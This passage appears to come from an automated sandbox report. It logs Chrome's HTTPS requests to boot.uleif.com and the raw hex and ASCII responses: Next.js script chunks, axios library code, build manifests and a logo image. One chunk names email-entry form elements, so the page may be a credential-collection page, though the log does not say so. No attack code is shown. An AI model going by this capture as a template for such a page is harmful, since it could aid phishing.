e6 Data Ascii: Ig.e*Wu^]KT}>[=^1X;/=-vq\5_\|1z%\<TO<?myudzZV%WLo[~vP0m,q5/ax}s!/4Y#A#'GlqK{SZr-kag
2024-10-11 18:29:08 UTC	11860	IN	Data Raw: 93 85 b2 5a 2a ad 89 da 8f f9 6d 3c ad cc f1 c2 d9 87 81 89 b5 42 af 9d 59 f7 0f fd 82 ac ff a4 51 d5 fa 17 46 0b 1e 20 67 d4 61 5f 5e 4f 48 b5 ce 0f 67 e7 76 58 dc 8f ba 66 37 47 2f 03 e0 7c ff f2 6f fe ba df b5 71 be 7f a5 4e e3 80 2f e7 d2 cf 8c 81 a8 b6 f9 f0 c4 ac 80 c4 b1 76 86 3d 7f ed 28 8b a7 d2 50 76 0d 86 49 17 57 b9 be 2c 1e 83 a1 11 80 28 34 32 c8 7e 48 83 99 c7 05 2d 66 b5 bb 76 bf b0 24 98 16 29 05 98 b2 79 74 7b e6 f7 b4 54 17 2c c7 41 35 c6 29 cc 37 61 ce 73 96 74 a9 67 1a 69 a6 b9 21 7e ec 30 ca e3 e5 4d 0f f3 79 35 25 8c ee f2 3a fc 62 4f f2 ad 0e 26 5a a4 69 1b 9f 68 cc 63 a9 b5 60 96 9f f9 59 a7 fd e4 5b 35 de cc 0f bb 1a 84 7d ff e1 af 6b 84 7b be 6a 61 6d f0 06 98 df d9 e3 dd 6f f1 da 1f ac aa 35 5e 2d 35 ae f5 03 e6 cd c2 9d f5 f8 Data Ascii: Z*m<BYQF ga_^OHgvXf7G/\|oqN/v=(PvIW,(42~H-fv$)yt{T,A5)7astgi!~0My5%:bO&Zihc`Y[5}k{jamo5^-5
2024-10-11 18:29:08 UTC	10234	IN	Data Raw: 02 b8 af 70 3b db c8 fe 1b c0 75 18 ea f3 19 ea e8 ef f5 aa aa 5f d7 6f ab 3c 43 ea 37 58 5c 93 7a 86 11 ae f1 22 24 2f be 4e f2 cd bf c1 67 54 69 7f f0 97 74 d6 c9 8b 59 00 ec b9 7a 6a 2f d6 53 7b aa 0b ec c7 5b e1 af 89 97 fe bc b6 28 8b af d6 3a 1e 43 f0 6b 40 14 cf 24 32 d5 2a 35 5c ea a9 5d 87 e1 9c 80 06 14 4c ed 00 db c1 cf 4f 07 52 44 52 3f ac 47 a4 25 40 91 d5 1c af e3 06 ac a0 21 d1 36 0e ab 2f 5a db 66 93 7a 7c 2b f4 e3 e6 e1 42 b4 4e 04 a8 b8 57 20 1d 97 6a 8b 6c 93 65 9c 8e c5 9a 59 07 be 29 47 e1 dc 16 3b 1b 7c ba 04 80 9d c1 a8 50 df e5 49 3d 3c 46 69 4d 58 fa 43 bf 2c 04 36 3e 83 45 3a e8 00 9c 60 98 b6 30 af d5 20 e3 92 fa a8 6b 61 36 52 83 79 0c d5 5a cb e7 eb 55 eb 66 9c 45 65 00 0c 66 44 00 ee b0 a0 df a8 ff ca c2 03 85 dc 04 fa 57 b7 Data Ascii: p;u_o<C7X\z"$/NgTitYzj/S{[(:Ck@$2*5\]LORDR?G%@!6/Zfz\|+BNW jleY)G;\|PI=<FiMXC,6>E:`0 ka6RyZUfEefDW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	563	OUT	GET /_next/static/chunks/pages/_app-301076f909f3a9e7.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	578	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_app-301076f909f3a9e7.js" Content-Length: 442 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "5d9e833313893a485f61fd8f483d2036" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/_app-301076f909f3a9e7.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::lpl5v-1728671347931-ee862fd299f1 Connection: close
2024-10-11 18:29:07 UTC	442	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 38 38 5d 2c 7b 31 31 31 38 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 75 2c 74 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 5f 61 70 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 28 34 39 32 36 29 7d 5d 29 7d 2c 34 39 32 36 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 75 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 75 29 3b 76 61 72 20 5f 3d 74 28 35 38 39 33 29 3b 74 28 33 34 33 34 29 2c 75 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 65 74 7b Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1118:function(n,u,t){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return t(4926)}])},4926:function(n,u,t){"use strict";t.r(u);var _=t(5893);t(3434),u.default=function(n){let{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	556	OUT	GET /_next/static/chunks/669-1b66ac76fc7185ce.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="669-1b66ac76fc7185ce.js" Content-Length: 20198 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "aaef113beb077a512579df8c1f10da88" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/669-1b66ac76fc7185ce.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::x9t6r-1728671347941-f8aada13ebbd Connection: close
2024-10-11 18:29:07 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 36 39 5d 2c 7b 39 36 36 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 65 2e 65 78 70 6f 72 74 73 3d 72 28 31 36 30 39 29 7d 2c 35 34 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 34 38 36 37 29 2c 6f 3d 72 28 36 30 32 36 29 2c 69 3d 72 28 34 33 37 32 29 2c 73 3d 72 28 35 33 32 37 29 2c 61 3d 72 28 34 30 39 37 29 2c 75 3d 72 28 34 31 30 39 29 2c 63 3d 72 28 37 39 38 35 29 2c 66 3d 72 28 35 30 36 31 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[669],{9669:function(e,t,r){e.exports=r(1609)},5448:function(e,t,r){"use strict";var n=r(4867),o=r(6026),i=r(4372),s=r(5327),a=r(4097),u=r(4109),c=r(7985),f=r(5061);e.exports=function(e){return new P
2024-10-11 18:29:07 UTC	983	IN	Data Raw: 6e 3d 72 28 34 39 37 32 29 2c 75 2e 69 73 43 61 6e 63 65 6c 3d 72 28 36 35 30 32 29 2c 75 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 65 29 7d 2c 75 2e 73 70 72 65 61 64 3d 72 28 38 37 31 33 29 2c 75 2e 69 73 41 78 69 6f 73 45 72 72 6f 72 3d 72 28 36 32 36 38 29 2c 65 2e 65 78 70 6f 72 74 73 3d 75 2c 65 2e 65 78 70 6f 72 74 73 2e 64 65 66 61 75 6c 74 3d 75 7d 2c 35 32 36 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 65 7d 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 43 61 6e 63 65 6c 22 2b 28 74 68 69 73 2e Data Ascii: n=r(4972),u.isCancel=r(6502),u.all=function(e){return Promise.all(e)},u.spread=r(8713),u.isAxiosError=r(6268),e.exports=u,e.exports.default=u},5263:function(e){"use strict";function t(e){this.message=e}t.prototype.toString=function(){return"Cancel"+(this.
2024-10-11 18:29:07 UTC	4744	IN	Data Raw: 65 77 20 69 2c 72 65 73 70 6f 6e 73 65 3a 6e 65 77 20 69 7d 7d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 71 75 65 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 28 65 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 65 2e 75 72 6c 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 3a 65 3d 65 7c 7c 7b 7d 2c 28 65 3d 61 28 74 68 69 73 2e 64 65 66 61 75 6c 74 73 2c 65 29 29 2e 6d 65 74 68 6f 64 3f 65 2e 6d 65 74 68 6f 64 3d 65 2e 6d 65 74 68 6f 64 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 74 68 69 73 2e 64 65 66 61 75 6c 74 73 2e 6d 65 74 68 6f 64 3f 65 2e 6d 65 74 68 6f 64 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 73 2e 6d 65 74 68 6f 64 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 65 2e 6d 65 74 68 6f 64 Data Ascii: ew i,response:new i}}f.prototype.request=function(e){"string"==typeof e?(e=arguments[1]\|\|{},e.url=arguments[0]):e=e\|\|{},(e=a(this.defaults,e)).method?e.method=e.method.toLowerCase():this.defaults.method?e.method=this.defaults.method.toLowerCase():e.method
2024-10-11 18:29:07 UTC	5930	IN	Data Raw: 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 6f 3d 72 28 33 34 35 34 29 2c 69 3d 72 28 34 38 36 37 29 2c 73 3d 72 28 36 30 31 36 29 2c 61 3d 72 28 34 38 31 29 2c 75 3d 7b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 21 69 2e 69 73 55 6e 64 65 66 69 6e 65 64 28 65 29 26 26 69 2e 69 73 55 6e 64 65 66 69 6e 65 64 28 65 5b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 5d 29 26 26 28 65 5b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 5d 3d 74 29 7d 76 61 72 20 66 3d 7b 74 72 61 6e 73 69 74 69 6f 6e 61 6c 3a 7b 73 69 6c 65 6e 74 4a 53 4f 4e 50 61 72 73 69 6e 67 3a 21 30 2c 66 Data Ascii: (e,t,r){"use strict";var n,o=r(3454),i=r(4867),s=r(6016),a=r(481),u={"Content-Type":"application/x-www-form-urlencoded"};function c(e,t){!i.isUndefined(e)&&i.isUndefined(e["Content-Type"])&&(e["Content-Type"]=t)}var f={transitional:{silentJSONParsing:!0,f
2024-10-11 18:29:08 UTC	6169	IN	Data Raw: 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 6f 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 69 66 28 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 74 7c 7c 74 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b Data Ascii: eturn"[object Array]"===o.call(e)}function s(e){return void 0===e}function a(e){return null!==e&&"object"==typeof e}function u(e){if("[object Object]"!==o.call(e))return!1;var t=Object.getPrototypeOf(e);return null===t\|\|t===Object.prototype}function c(e){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	564	OUT	GET /_next/static/chunks/pages/index-ebc524c6a07e276b.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	581	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-ebc524c6a07e276b.js" Content-Length: 2749 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "4c3c0941f67cf08111cdaa03be3c3f18" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-ebc524c6a07e276b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::nv868-1728671347941-910f15638c2f Connection: close
2024-10-11 18:29:07 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 28 39 38 32 38 29 7d 5d 29 7d 2c 39 38 32 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 73 2e 72 28 74 29 2c 73 2e 64 28 74 2c 7b 64 65 66 61 75 6c 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 76 61 72 20 6e 3d 73 28 35 38 39 33 29 2c Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,s){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return s(9828)}])},9828:function(e,t,s){"use strict";s.r(t),s.d(t,{default:function(){return c}});var n=s(5893),
2024-10-11 18:29:07 UTC	377	IN	Data Raw: 6c 6f 67 6f 3a 22 48 6f 6d 65 5f 6c 6f 67 6f 5f 5f 49 4f 51 41 58 22 2c 6d 65 73 73 61 67 65 3a 22 48 6f 6d 65 5f 6d 65 73 73 61 67 65 5f 5f 4f 4b 4c 32 6d 22 2c 64 69 73 70 6c 61 79 45 6d 61 69 6c 3a 22 48 6f 6d 65 5f 64 69 73 70 6c 61 79 45 6d 61 69 6c 5f 5f 48 4f 47 67 6b 22 2c 69 6e 70 75 74 46 69 65 6c 64 3a 22 48 6f 6d 65 5f 69 6e 70 75 74 46 69 65 6c 64 5f 5f 68 38 32 57 31 22 2c 62 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 3a 22 48 6f 6d 65 5f 62 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 6e 4f 56 75 59 22 2c 73 75 62 6d 69 74 42 75 74 74 6f 6e 3a 22 48 6f 6d 65 5f 73 75 62 6d 69 74 42 75 74 74 6f 6e 5f 5f 45 43 7a 49 59 22 2c 6e 65 78 74 42 75 74 74 6f 6e 3a 22 48 6f 6d 65 5f 6e 65 78 74 42 75 74 74 6f 6e 5f 5f 72 5f 4b 73 73 22 2c 65 72 72 Data Ascii: logo:"Home_logo__IOQAX",message:"Home_message__OKL2m",displayEmail:"Home_displayEmail__HOGgk",inputField:"Home_inputField__h82W1",buttonContainer:"Home_buttonContainer__nOVuY",submitButton:"Home_submitButton__ECzIY",nextButton:"Home_nextButton__r_Kss",err

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:08 UTC	565	OUT	GET /_next/static/56kho6wiIZfQ6_uNQX-cO/_buildManifest.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:08 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113062 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_buildManifest.js" Content-Length: 356 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:08 GMT Etag: "8fd0c556d509a4f6c9b8b5fad9362e5e" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/56kho6wiIZfQ6_uNQX-cO/_buildManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::fm8hf-1728671348134-8ae4b78fdf7f Connection: close
2024-10-11 18:29:08 UTC	356	IN	Data Raw: 73 65 6c 66 2e 5f 5f 42 55 49 4c 44 5f 4d 41 4e 49 46 45 53 54 3d 7b 5f 5f 72 65 77 72 69 74 65 73 3a 7b 61 66 74 65 72 46 69 6c 65 73 3a 5b 5d 2c 62 65 66 6f 72 65 46 69 6c 65 73 3a 5b 5d 2c 66 61 6c 6c 62 61 63 6b 3a 5b 5d 7d 2c 22 2f 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 36 36 39 2d 31 62 36 36 61 63 37 36 66 63 37 31 38 35 63 65 2e 6a 73 22 2c 22 73 74 61 74 69 63 2f 63 73 73 2f 62 66 39 36 36 64 32 61 37 38 33 34 61 64 39 38 2e 63 73 73 22 2c 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 69 6e 64 65 78 2d 65 62 63 35 32 34 63 36 61 30 37 65 32 37 36 62 2e 6a 73 22 5d 2c 22 2f 5f 65 72 72 6f 72 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 5f 65 72 72 6f 72 2d 37 61 39 32 39 36 37 62 65 61 38 Data Ascii: self.__BUILD_MANIFEST={__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},"/":["static/chunks/669-1b66ac76fc7185ce.js","static/css/bf966d2a7834ad98.css","static/chunks/pages/index-ebc524c6a07e276b.js"],"/_error":["static/chunks/pages/_error-7a92967bea8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:08 UTC	563	OUT	GET /_next/static/56kho6wiIZfQ6_uNQX-cO/_ssgManifest.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:08 UTC	568	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113062 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_ssgManifest.js" Content-Length: 77 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:08 GMT Etag: "b6652df95db52feb4daf4eca35380933" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/56kho6wiIZfQ6_uNQX-cO/_ssgManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::mcfw8-1728671348223-cb9cb1d93981 Connection: close
2024-10-11 18:29:08 UTC	77	IN	Data Raw: 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 3d 6e 65 77 20 53 65 74 2c 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 26 26 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 28 29 3b Data Ascii: self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:08 UTC	346	OUT	GET /logo.png HTTP/1.1 Host: boot.uleif.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:08 UTC	495	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113062 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="logo.png" Content-Length: 11754 Content-Type: image/png Date: Fri, 11 Oct 2024 18:29:08 GMT Etag: "1907807f507d6545eaf042732672aca1" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /logo.png X-Vercel-Cache: HIT X-Vercel-Id: iad1::6xb6r-1728671348472-3049eed5cfe7 Connection: close
2024-10-11 18:29:08 UTC	2372	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 bc 00 00 01 8a 08 03 00 00 00 d9 af 62 5c 00 00 00 54 50 4c 54 45 47 70 4c 00 c0 f4 00 73 ca 00 79 d8 00 75 cc 00 73 ca 00 73 cb 00 7d d1 00 71 c8 00 78 ce 00 aa ee 00 7f db 00 91 e3 00 64 bb 00 6b c2 00 aa ec 00 da ff ff ff ff 00 72 d5 00 6b d1 00 a9 ed 00 80 c1 01 8f d8 00 50 93 00 3e 74 00 74 ab 6c b3 e9 bb de f6 f9 bb e0 3e 00 00 00 0a 74 52 4e 53 00 b2 ff ff b4 e1 47 1e 88 6e 7c 8b b3 4b 00 00 20 00 49 44 41 54 78 da ec 9d 0b 77 db aa 12 85 cf 2d 6d 9c 04 19 9d e8 28 38 b1 ff ff ff bc b1 24 60 06 06 bd ac c4 95 d9 63 c7 0f 99 b4 5d 2b 5f 77 36 33 03 fc f3 0f 02 81 40 20 10 08 04 02 81 40 fc 73 78 7a 79 de 57 bc 3c e1 a7 86 f8 8a 97 3f c7 1d c6 9f df 07 fc e8 80 ee 71 af 01 7c 0b 8f e7 e3 8e e3 Data Ascii: PNGIHDRb\TPLTEGpLsyuss}qxdkrkP>ttl>tRNSGn\|K IDATxw-m(8$`c]+_w63@ @sxzyW<?q\|
2024-10-11 18:29:08 UTC	1060	IN	Data Raw: e7 cb 5b 1c 97 f3 d9 2a b9 09 3d b2 0e 6c a2 a6 82 71 58 bc 92 a2 c5 4a 8a 62 f3 bc 0c e0 d9 e8 56 02 b8 01 e0 8a 36 e2 d0 4e 48 1d 52 62 be 32 a1 15 11 de 7c b6 a1 16 d7 09 cb 93 38 2c 7d 2f c4 36 c8 ad 36 e3 b5 b5 11 72 1d bf dc fe 12 8e 89 49 d0 91 dd 4d 2a 6c f5 bc 35 6c 35 52 65 e5 2a ef c2 cd a3 cf 6f 73 e2 cc f6 75 d2 cc 0b ab d8 39 e4 95 b7 a6 cb d6 92 a9 5a cb 0f 11 c4 16 a7 a5 15 29 6c 94 73 98 b0 0e f3 d0 0d f8 aa 58 79 a9 d6 06 d1 f5 0c a3 25 12 f1 4d ca 3b 1f dd ab 79 a8 e2 86 73 41 79 89 f4 6a 21 cf bb aa 19 1d 13 b6 a2 3c ef 4c c7 70 79 5b 16 e7 e0 79 15 33 bb f4 89 c7 29 b6 0d 23 79 b1 ec 67 80 b7 14 e5 15 b6 2e 15 89 56 e7 b7 c5 71 89 f2 63 3a 4a f0 12 d1 d5 b2 6d 70 7b 33 b8 33 54 d8 d1 29 ad ef d4 61 43 00 6f 11 f0 da ef b2 0c 3e 2a d2 Data Ascii: [=lqXJbV6NHRb2\|8,}/66rIMl5l5Reosu9Z)lsXy%M;ysAyj!<Lpy[y3)#yg.Vqc:Jmp{33T)aCo>
